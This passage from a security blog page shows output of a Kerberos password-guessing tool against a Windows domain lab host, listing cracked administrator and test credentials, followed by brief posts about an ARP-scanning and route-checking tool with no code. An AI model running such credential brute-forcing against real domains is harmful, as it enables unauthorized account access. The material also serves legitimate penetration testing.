HOST: '192.168.8.23' | USER: 'administrator' | PASS: 'Passw0rd123' | EXTRA: 'win2k3r2domain' | Return code: 'Success'
HOST: '192.168.8.23' | USER: 'test' | PASS: 'password' | EXTRA: 'win2k3r2domain' | Return code: 'Success'

Of course you could also use LDAP, SMB and FTP but kerberos is a lot quicker.

NB: The kerberos authentication plugin only runs over UDP at the moment and as such if you are getting errors you will have to resort to one of the other plugins. The kerberos enumeration plugin runs over both UDP and TCP with the former being quickest.

r00t

Pages

Friday, 1 March 2013

eroute v0.7

eroute v0.7

Requires:

Download:

Friday, 11 May 2012

eroute - simple arp scanner with route checking

eroute

Simple ARP Scan

Route checking to Google with ICMP

Route checking to Google with TCP and default ports

Route checking to Google with TCP and default ports (normal TTL/TTL of 1)

Route checking to Google with several ICMP and several TCP ports (normal TTL/TTL of 1)

Requires:

Download:

Tuesday, 6 December 2011

Twitter Updates for eddwod